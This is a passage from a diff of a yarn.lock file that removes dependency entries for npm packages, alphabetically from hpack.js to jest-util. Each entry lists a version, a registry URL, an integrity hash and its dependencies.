"^16.7.0" - -hpack.js@^2.1.6: - version "2.1.6" - resolved "https://registry.yarnpkg.com/hpack.js/-/hpack.js-2.1.6.tgz#87774c0949e513f42e84575b3c45681fade2a0b2" - integrity sha512-zJxVehUdMGIKsRaNt7apO2Gqp0BdqW5yaiGHXXmbpvxgBYVZnAql+BJb4RO5ad2MgpbZKn5G6nMnegrH1FcNYQ== - dependencies: - inherits "^2.0.1" - obuf "^1.0.0" - readable-stream "^2.0.1" - wbuf "^1.1.0" - -html-entities@^2.3.2: - version "2.3.3" - resolved "https://registry.yarnpkg.com/html-entities/-/html-entities-2.3.3.tgz#117d7626bece327fc8baace8868fa6f5ef856e46" - integrity sha512-DV5Ln36z34NNTDgnz0EWGBLZENelNAtkiFA4kyNOG2tDI6Mz1uSWiq1wAKdyjnJwyDiDO7Fa2SO1CTxPXL8VxA== - -html-minifier-terser@^6.0.2, html-minifier-terser@^6.1.0: - version "6.1.0" - resolved "https://registry.yarnpkg.com/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz#bfc818934cc07918f6b3669f5774ecdfd48f32ab" - integrity sha512-YXxSlJBZTP7RS3tWnQw74ooKa6L9b9i9QYXY21eUEvhZ3u9XLfv6OnFsQq6RxkhHygsaUMvYsZRV5rU/OVNZxw== - dependencies: - camel-case "^4.1.2" - clean-css "^5.2.2" - commander "^8.3.0" - he "^1.2.0" - param-case "^3.0.4" - relateurl "^0.2.7" - terser "^5.10.0" - -html-tags@^3.2.0: - version "3.2.0" - resolved "https://registry.yarnpkg.com/html-tags/-/html-tags-3.2.0.tgz#dbb3518d20b726524e4dd43de397eb0a95726961" - integrity sha512-vy7ClnArOZwCnqZgvv+ddgHgJiAFXe3Ge9ML5/mBctVJoUoYPCdxVucOywjDARn6CVoh3dRSFdPHy2sX80L0Wg== - -html-void-elements@^1.0.0: - version "1.0.5" - resolved "https://registry.yarnpkg.com/html-void-elements/-/html-void-elements-1.0.5.tgz#ce9159494e86d95e45795b166c2021c2cfca4483" - integrity sha512-uE/TxKuyNIcx44cIWnjr/rfIATDH7ZaOMmstu0CwhFG1Dunhlp4OC6/NMbhiwoq5BpW0ubi303qnEk/PZj614w== - -html-webpack-plugin@^5.5.0: - version "5.5.0" - resolved "https://registry.yarnpkg.com/html-webpack-plugin/-/html-webpack-plugin-5.5.0.tgz#c3911936f57681c1f9f4d8b68c158cd9dfe52f50" - integrity sha512-sy88PC2cRTVxvETRgUHFrL4No3UxvcH8G1NepGhqaTT+GXN2kTamqasot0inS5hXeg1cMbFDt27zzo9p35lZVw== - dependencies: - "@types/html-minifier-terser" "^6.0.0" - html-minifier-terser "^6.0.2" - lodash "^4.17.21" - pretty-error "^4.0.0" - tapable "^2.0.0" - -htmlparser2@^6.1.0: - version "6.1.0" - resolved "https://registry.yarnpkg.com/htmlparser2/-/htmlparser2-6.1.0.tgz#c4d762b6c3371a05dbe65e94ae43a9f845fb8fb7" - integrity sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A== - dependencies: - domelementtype "^2.0.1" - domhandler "^4.0.0" - domutils "^2.5.2" - entities "^2.0.0" - -htmlparser2@^8.0.1: - version "8.0.1" - resolved "https://registry.yarnpkg.com/htmlparser2/-/htmlparser2-8.0.1.tgz#abaa985474fcefe269bc761a779b544d7196d010" - integrity sha512-4lVbmc1diZC7GUJQtRQ5yBAeUCL1exyMwmForWkRLnwyzWBFxN633SALPMGYaWZvKe9j1pRZJpauvmxENSp/EA== - dependencies: - domelementtype "^2.3.0" - domhandler "^5.0.2" - domutils "^3.0.1" - entities "^4.3.0" - -http-cache-semantics@^4.0.0: - version "4.1.1" - resolved "https://registry.yarnpkg.com/http-cache-semantics/-/http-cache-semantics-4.1.1.tgz#abe02fcb2985460bf0323be664436ec3476a6d5a" - integrity sha512-er295DKPVsV82j5kw1Gjt+ADA/XYHsajl82cGNQG2eyoPkvgUhX+nDIyelzhIWbbsXP39EHcI6l5tYs2FYqYXQ== - -http-deceiver@^1.2.7: - version "1.2.7" - resolved "https://registry.yarnpkg.com/http-deceiver/-/http-deceiver-1.2.7.tgz#fa7168944ab9a519d337cb0bec7284dc3e723d87" - integrity sha512-LmpOGxTfbpgtGVxJrj5k7asXHCgNZp5nLfp+hWc8QQRqtb7fUy6kRY3BO1h9ddF6yIPYUARgxGOwB42DnxIaNw== - -http-errors@2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-2.0.0.tgz#b7774a1486ef73cf7667ac9ae0858c012c57b9d3" - integrity sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ== - dependencies: - depd "2.0.0" - inherits "2.0.4" - setprototypeof "1.2.0" - statuses "2.0.1" - toidentifier "1.0.1" - -http-errors@~1.6.2: - version "1.6.3" - resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.6.3.tgz#8b55680bb4be283a0b5bf4ea2e38580be1d9320d" - integrity sha512-lks+lVC8dgGyh97jxvxeYTWQFvh4uw4yC12gVl63Cg30sjPX4wuGcdkICVXDAESr6OJGjqGA8Iz5mkeN6zlD7A== - dependencies: - depd "~1.1.2" - inherits "2.0.3" - setprototypeof "1.1.0" - statuses ">= 1.4.0 < 2" - -http-parser-js@>=0.5.1: - version "0.5.8" - resolved "https://registry.yarnpkg.com/http-parser-js/-/http-parser-js-0.5.8.tgz#af23090d9ac4e24573de6f6aecc9d84a48bf20e3" - integrity sha512-SGeBX54F94Wgu5RH3X5jsDtf4eHyRogWX1XGT3b4HuW3tQPM4AaBzoUji/4AAJNXCEOWZ5O0DgZmJw1947gD5Q== - -http-proxy-middleware@^2.0.3: - version "2.0.6" - resolved "https://registry.yarnpkg.com/http-proxy-middleware/-/http-proxy-middleware-2.0.6.tgz#e1a4dd6979572c7ab5a4e4b55095d1f32a74963f" - integrity sha512-ya/UeJ6HVBYxrgYotAZo1KvPWlgB48kUJLDePFeneHsVujFaW5WNj2NgWCAE//B1Dl02BIfYlpNgBy8Kf8Rjmw== - dependencies: - "@types/http-proxy" "^1.17.8" - http-proxy "^1.18.1" - is-glob "^4.0.1" - is-plain-obj "^3.0.0" - micromatch "^4.0.2" - -http-proxy@^1.18.1: - version "1.18.1" - resolved "https://registry.yarnpkg.com/http-proxy/-/http-proxy-1.18.1.tgz#401541f0534884bbf95260334e72f88ee3976549" - integrity sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ== - dependencies: - eventemitter3 "^4.0.0" - follow-redirects "^1.0.0" - requires-port "^1.0.0" - -http2-wrapper@^1.0.0-beta.5.2: - version "1.0.3" - resolved "https://registry.yarnpkg.com/http2-wrapper/-/http2-wrapper-1.0.3.tgz#b8f55e0c1f25d4ebd08b3b0c2c079f9590800b3d" - integrity sha512-V+23sDMr12Wnz7iTcDeJr3O6AIxlnvT/bmaAAAP/Xda35C90p9599p0F1eHR/N1KILWSoWVAiOMFjBBXaXSMxg== - dependencies: - quick-lru "^5.1.1" - resolve-alpn "^1.0.0" - -human-signals@^2.1.0: - version "2.1.0" - resolved "https://registry.yarnpkg.com/human-signals/-/human-signals-2.1.0.tgz#dc91fcba42e4d06e4abaed33b3e7a3c02f514ea0" - integrity sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw== - -iconv-lite@0.4.24: - version "0.4.24" - resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.4.24.tgz#2022b4b25fbddc21d2f524974a474aafe733908b" - integrity sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA== - dependencies: - safer-buffer ">= 2.1.2 < 3" - -icss-utils@^5.0.0, icss-utils@^5.1.0: - version "5.1.0" - resolved "https://registry.yarnpkg.com/icss-utils/-/icss-utils-5.1.0.tgz#c6be6858abd013d768e98366ae47e25d5887b1ae" - integrity sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA== - -ignore@^5.2.0: - version "5.2.0" - resolved "https://registry.yarnpkg.com/ignore/-/ignore-5.2.0.tgz#6d3bac8fa7fe0d45d9f9be7bac2fc279577e345a" - integrity sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ== - -image-size@^1.0.1: - version "1.0.2" - resolved "https://registry.yarnpkg.com/image-size/-/image-size-1.0.2.tgz#d778b6d0ab75b2737c1556dd631652eb963bc486" - integrity sha512-xfOoWjceHntRb3qFCrh5ZFORYH8XCdYpASltMhZ/Q0KZiOwjdE/Yl2QCiWdwD+lygV5bMCvauzgu5PxBX/Yerg== - dependencies: - queue "6.0.2" - -immer@^9.0.6, immer@^9.0.7: - version "9.0.15" - resolved "https://registry.yarnpkg.com/immer/-/immer-9.0.15.tgz#0b9169e5b1d22137aba7d43f8a81a495dd1b62dc" - integrity sha512-2eB/sswms9AEUSkOm4SbV5Y7Vmt/bKRwByd52jfLkW4OLYeaTP3EEiJ9agqU0O/tq6Dk62Zfj+TJSqfm1rLVGQ== - -import-fresh@^3.1.0, import-fresh@^3.2.1, import-fresh@^3.3.0: - version "3.3.0" - resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-3.3.0.tgz#37162c25fcb9ebaa2e6e53d5b4d88ce17d9e0c2b" - integrity sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw== - dependencies: - parent-module "^1.0.0" - resolve-from "^4.0.0" - -import-lazy@^2.1.0: - version "2.1.0" - resolved "https://registry.yarnpkg.com/import-lazy/-/import-lazy-2.1.0.tgz#05698e3d45c88e8d7e9d92cb0584e77f096f3e43" - integrity sha512-m7ZEHgtw69qOGw+jwxXkHlrlIPdTGkyh66zXZ1ajZbxkDBNjSY/LGbmjc7h0s2ELsUDTAhFr55TrPSSqJGPG0A== - -imurmurhash@^0.1.4: - version "0.1.4" - resolved "https://registry.yarnpkg.com/imurmurhash/-/imurmurhash-0.1.4.tgz#9218b9b2b928a238b13dc4fb6b6d576f231453ea" - integrity sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA== - -indent-string@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/indent-string/-/indent-string-4.0.0.tgz#624f8f4497d619b2d9768531d58f4122854d7251" - integrity sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg== - -infima@0.2.0-alpha.43: - version "0.2.0-alpha.43" - resolved "https://registry.yarnpkg.com/infima/-/infima-0.2.0-alpha.43.tgz#f7aa1d7b30b6c08afef441c726bac6150228cbe0" - integrity sha512-2uw57LvUqW0rK/SWYnd/2rRfxNA5DDNOh33jxF7fy46VWoNhGxiUQyVZHbBMjQ33mQem0cjdDVwgWVAmlRfgyQ== - -inflight@^1.0.4: - version "1.0.6" - resolved "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9" - integrity sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA== - dependencies: - once "^1.3.0" - wrappy "1" - -inherits@2, inherits@2.0.4, inherits@^2.0.0, inherits@^2.0.1, inherits@^2.0.3, inherits@~2.0.3: - version "2.0.4" - resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c" - integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ== - -inherits@2.0.3: - version "2.0.3" - resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de" - integrity sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw== - -ini@2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/ini/-/ini-2.0.0.tgz#e5fd556ecdd5726be978fa1001862eacb0a94bc5" - integrity sha512-7PnF4oN3CvZF23ADhA5wRaYEQpJ8qygSkbtTXWBeXWXmEVRXK+1ITciHWwHhsjv1TmW0MgacIv6hEi5pX5NQdA== - -ini@^1.3.5, ini@~1.3.0: - version "1.3.8" - resolved "https://registry.yarnpkg.com/ini/-/ini-1.3.8.tgz#a29da425b48806f34767a4efce397269af28432c" - integrity sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew== - -inline-style-parser@0.1.1: - version "0.1.1" - resolved "https://registry.yarnpkg.com/inline-style-parser/-/inline-style-parser-0.1.1.tgz#ec8a3b429274e9c0a1f1c4ffa9453a7fef72cea1" - integrity sha512-7NXolsK4CAS5+xvdj5OMMbI962hU/wvwoxk+LWR9Ek9bVtyuuYScDN6eS0rUm6TxApFpw7CX1o4uJzcd4AyD3Q== - -interpret@^1.0.0: - version "1.4.0" - resolved "https://registry.yarnpkg.com/interpret/-/interpret-1.4.0.tgz#665ab8bc4da27a774a40584e812e3e0fa45b1a1e" - integrity sha512-agE4QfB2Lkp9uICn7BAqoscw4SZP9kTE2hxiFI3jBPmXJfdqiahTbUuKGsMoN2GtqL9AxhYioAcVvgsb1HvRbA== - -invariant@^2.2.4: - version "2.2.4" - resolved "https://registry.yarnpkg.com/invariant/-/invariant-2.2.4.tgz#610f3c92c9359ce1db616e538008d23ff35158e6" - integrity sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA== - dependencies: - loose-envify "^1.0.0" - -ipaddr.js@1.9.1: - version "1.9.1" - resolved "https://registry.yarnpkg.com/ipaddr.js/-/ipaddr.js-1.9.1.tgz#bff38543eeb8984825079ff3a2a8e6cbd46781b3" - integrity sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g== - -ipaddr.js@^2.0.1: - version "2.0.1" - resolved "https://registry.yarnpkg.com/ipaddr.js/-/ipaddr.js-2.0.1.tgz#eca256a7a877e917aeb368b0a7497ddf42ef81c0" - integrity sha512-1qTgH9NG+IIJ4yfKs2e6Pp1bZg8wbDbKHT21HrLIeYBTRLgMYKnMTPAuI3Lcs61nfx5h1xlXnbJtH1kX5/d/ng== - -is-alphabetical@1.0.4, is-alphabetical@^1.0.0: - version "1.0.4" - resolved "https://registry.yarnpkg.com/is-alphabetical/-/is-alphabetical-1.0.4.tgz#9e7d6b94916be22153745d184c298cbf986a686d" - integrity sha512-DwzsA04LQ10FHTZuL0/grVDk4rFoVH1pjAToYwBrHSxcrBIGQuXrQMtD5U1b0U2XVgKZCTLLP8u2Qxqhy3l2Vg== - -is-alphanumerical@^1.0.0: - version "1.0.4" - resolved "https://registry.yarnpkg.com/is-alphanumerical/-/is-alphanumerical-1.0.4.tgz#7eb9a2431f855f6b1ef1a78e326df515696c4dbf" - integrity sha512-UzoZUr+XfVz3t3v4KyGEniVL9BDRoQtY7tOyrRybkVNjDFWyo1yhXNGrrBTQxp3ib9BLAWs7k2YKBQsFRkZG9A== - dependencies: - is-alphabetical "^1.0.0" - is-decimal "^1.0.0" - -is-arrayish@^0.2.1: - version "0.2.1" - resolved "https://registry.yarnpkg.com/is-arrayish/-/is-arrayish-0.2.1.tgz#77c99840527aa8ecb1a8ba697b80645a7a926a9d" - integrity sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg== - -is-binary-path@~2.1.0: - version "2.1.0" - resolved "https://registry.yarnpkg.com/is-binary-path/-/is-binary-path-2.1.0.tgz#ea1f7f3b80f064236e83470f86c09c254fb45b09" - integrity sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw== - dependencies: - binary-extensions "^2.0.0" - -is-buffer@^2.0.0: - version "2.0.5" - resolved "https://registry.yarnpkg.com/is-buffer/-/is-buffer-2.0.5.tgz#ebc252e400d22ff8d77fa09888821a24a658c191" - integrity sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ== - -is-ci@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/is-ci/-/is-ci-2.0.0.tgz#6bc6334181810e04b5c22b3d589fdca55026404c" - integrity sha512-YfJT7rkpQB0updsdHLGWrvhBJfcfzNNawYDNIyQXJz0IViGf75O8EBPKSdvw2rF+LGCsX4FZ8tcr3b19LcZq4w== - dependencies: - ci-info "^2.0.0" - -is-core-module@^2.9.0: - version "2.9.0" - resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.9.0.tgz#e1c34429cd51c6dd9e09e0799e396e27b19a9c69" - integrity sha512-+5FPy5PnwmO3lvfMb0AsoPaBG+5KHUI0wYFXOtYPnVVVspTFUuMZNfNaNVRt3FZadstu2c8x23vykRW/NBoU6A== - dependencies: - has "^1.0.3" - -is-decimal@^1.0.0: - version "1.0.4" - resolved "https://registry.yarnpkg.com/is-decimal/-/is-decimal-1.0.4.tgz#65a3a5958a1c5b63a706e1b333d7cd9f630d3fa5" - integrity sha512-RGdriMmQQvZ2aqaQq3awNA6dCGtKpiDFcOzrTWrDAT2MiWrKQVPmxLGHl7Y2nNu6led0kEyoX0enY0qXYsv9zw== - -is-docker@^2.0.0, is-docker@^2.1.1: - version "2.2.1" - resolved "https://registry.yarnpkg.com/is-docker/-/is-docker-2.2.1.tgz#33eeabe23cfe86f14bde4408a02c0cfb853acdaa" - integrity sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ== - -is-extendable@^0.1.0: - version "0.1.1" - resolved "https://registry.yarnpkg.com/is-extendable/-/is-extendable-0.1.1.tgz#62b110e289a471418e3ec36a617d472e301dfc89" - integrity sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw== - -is-extglob@^2.1.1: - version "2.1.1" - resolved "https://registry.yarnpkg.com/is-extglob/-/is-extglob-2.1.1.tgz#a88c02535791f02ed37c76a1b9ea9773c833f8c2" - integrity sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ== - -is-fullwidth-code-point@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz#f116f8064fe90b3f7844a38997c0b75051269f1d" - integrity sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg== - -is-glob@^4.0.1, is-glob@^4.0.3, is-glob@~4.0.1: - version "4.0.3" - resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-4.0.3.tgz#64f61e42cbbb2eec2071a9dac0b28ba1e65d5084" - integrity sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg== - dependencies: - is-extglob "^2.1.1" - -is-hexadecimal@^1.0.0: - version "1.0.4" - resolved "https://registry.yarnpkg.com/is-hexadecimal/-/is-hexadecimal-1.0.4.tgz#cc35c97588da4bd49a8eedd6bc4082d44dcb23a7" - integrity sha512-gyPJuv83bHMpocVYoqof5VDiZveEoGoFL8m3BXNb2VW8Xs+rz9kqO8LOQ5DH6EsuvilT1ApazU0pyl+ytbPtlw== - -is-installed-globally@^0.4.0: - version "0.4.0" - resolved "https://registry.yarnpkg.com/is-installed-globally/-/is-installed-globally-0.4.0.tgz#9a0fd407949c30f86eb6959ef1b7994ed0b7b520" - integrity sha512-iwGqO3J21aaSkC7jWnHP/difazwS7SFeIqxv6wEtLU8Y5KlzFTjyqcSIT0d8s4+dDhKytsk9PJZ2BkS5eZwQRQ== - dependencies: - global-dirs "^3.0.0" - is-path-inside "^3.0.2" - -is-npm@^5.0.0: - version "5.0.0" - resolved "https://registry.yarnpkg.com/is-npm/-/is-npm-5.0.0.tgz#43e8d65cc56e1b67f8d47262cf667099193f45a8" - integrity sha512-WW/rQLOazUq+ST/bCAVBp/2oMERWLsR7OrKyt052dNDk4DHcDE0/7QSXITlmi+VBcV13DfIbysG3tZJm5RfdBA== - -is-number@^7.0.0: - version "7.0.0" - resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b" - integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng== - -is-obj@^1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/is-obj/-/is-obj-1.0.1.tgz#3e4729ac1f5fde025cd7d83a896dab9f4f67db0f" - integrity sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg== - -is-obj@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/is-obj/-/is-obj-2.0.0.tgz#473fb05d973705e3fd9620545018ca8e22ef4982" - integrity sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w== - -is-path-cwd@^2.2.0: - version "2.2.0" - resolved "https://registry.yarnpkg.com/is-path-cwd/-/is-path-cwd-2.2.0.tgz#67d43b82664a7b5191fd9119127eb300048a9fdb" - integrity sha512-w942bTcih8fdJPJmQHFzkS76NEP8Kzzvmw92cXsazb8intwLqPibPPdXf4ANdKV3rYMuuQYGIWtvz9JilB3NFQ== - -is-path-inside@^3.0.2: - version "3.0.3" - resolved "https://registry.yarnpkg.com/is-path-inside/-/is-path-inside-3.0.3.tgz#d231362e53a07ff2b0e0ea7fed049161ffd16283" - integrity sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ== - -is-plain-obj@^2.0.0: - version "2.1.0" - resolved "https://registry.yarnpkg.com/is-plain-obj/-/is-plain-obj-2.1.0.tgz#45e42e37fccf1f40da8e5f76ee21515840c09287" - integrity sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA== - -is-plain-obj@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/is-plain-obj/-/is-plain-obj-3.0.0.tgz#af6f2ea14ac5a646183a5bbdb5baabbc156ad9d7" - integrity sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA== - -is-plain-object@^2.0.4: - version "2.0.4" - resolved "https://registry.yarnpkg.com/is-plain-object/-/is-plain-object-2.0.4.tgz#2c163b3fafb1b606d9d17928f05c2a1c38e07677" - integrity sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og== - dependencies: - isobject "^3.0.1" - -is-primitive@^3.0.1: - version "3.0.1" - resolved "https://registry.yarnpkg.com/is-primitive/-/is-primitive-3.0.1.tgz#98c4db1abff185485a657fc2905052b940524d05" - integrity sha512-GljRxhWvlCNRfZyORiH77FwdFwGcMO620o37EOYC0ORWdq+WYNVqW0w2Juzew4M+L81l6/QS3t5gkkihyRqv9w== - -is-regexp@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/is-regexp/-/is-regexp-1.0.0.tgz#fd2d883545c46bac5a633e7b9a09e87fa2cb5069" - integrity sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA== - -is-root@^2.1.0: - version "2.1.0" - resolved "https://registry.yarnpkg.com/is-root/-/is-root-2.1.0.tgz#809e18129cf1129644302a4f8544035d51984a9c" - integrity sha512-AGOriNp96vNBd3HtU+RzFEc75FfR5ymiYv8E553I71SCeXBiMsVDUtdio1OEFvrPyLIQ9tVR5RxXIFe5PUFjMg== - -is-stream@^2.0.0: - version "2.0.1" - resolved "https://registry.yarnpkg.com/is-stream/-/is-stream-2.0.1.tgz#fac1e3d53b97ad5a9d0ae9cef2389f5810a5c077" - integrity sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg== - -is-typedarray@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/is-typedarray/-/is-typedarray-1.0.0.tgz#e479c80858df0c1b11ddda6940f96011fcda4a9a" - integrity sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA== - -is-whitespace-character@^1.0.0: - version "1.0.4" - resolved "https://registry.yarnpkg.com/is-whitespace-character/-/is-whitespace-character-1.0.4.tgz#0858edd94a95594c7c9dd0b5c174ec6e45ee4aa7" - integrity sha512-SDweEzfIZM0SJV0EUga669UTKlmL0Pq8Lno0QDQsPnvECB3IM2aP0gdx5TrU0A01MAPfViaZiI2V1QMZLaKK5w== - -is-word-character@^1.0.0: - version "1.0.4" - resolved "https://registry.yarnpkg.com/is-word-character/-/is-word-character-1.0.4.tgz#ce0e73216f98599060592f62ff31354ddbeb0230" - integrity sha512-5SMO8RVennx3nZrqtKwCGyyetPE9VDba5ugvKLaD4KopPG5kR4mQ7tNt/r7feL5yt5h3lpuBbIUmCOG2eSzXHA== - -is-wsl@^2.2.0: - version "2.2.0" - resolved "https://registry.yarnpkg.com/is-wsl/-/is-wsl-2.2.0.tgz#74a4c76e77ca9fd3f932f290c17ea326cd157271" - integrity sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww== - dependencies: - is-docker "^2.0.0" - -is-yarn-global@^0.3.0: - version "0.3.0" - resolved "https://registry.yarnpkg.com/is-yarn-global/-/is-yarn-global-0.3.0.tgz#d502d3382590ea3004893746754c89139973e232" - integrity sha512-VjSeb/lHmkoyd8ryPVIKvOCn4D1koMqY+vqyjjUfc3xyKtP4dYOxM44sZrnqQSzSds3xyOrUTLTC9LVCVgLngw== - -isarray@0.0.1: - version "0.0.1" - resolved "https://registry.yarnpkg.com/isarray/-/isarray-0.0.1.tgz#8a18acfca9a8f4177e09abfc6038939b05d1eedf" - integrity sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ== - -isarray@~1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/isarray/-/isarray-1.0.0.tgz#bb935d48582cba168c06834957a54a3e07124f11" - integrity sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ== - -isexe@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/isexe/-/isexe-2.0.0.tgz#e8fbf374dc556ff8947a10dcb0572d633f2cfa10" - integrity sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw== - -isobject@^3.0.1: - version "3.0.1" - resolved "https://registry.yarnpkg.com/isobject/-/isobject-3.0.1.tgz#4e431e92b11a9731636aa1f9c8d1ccbcfdab78df" - integrity sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg== - -jest-util@^29.3.1: - version "29.3.1" - resolved "https://registry.yarnpkg.com/jest-util/-/jest-util-29.3.1.tgz#1dda51e378bbcb7e3bc9d8ab651445591ed373e1" - integrity 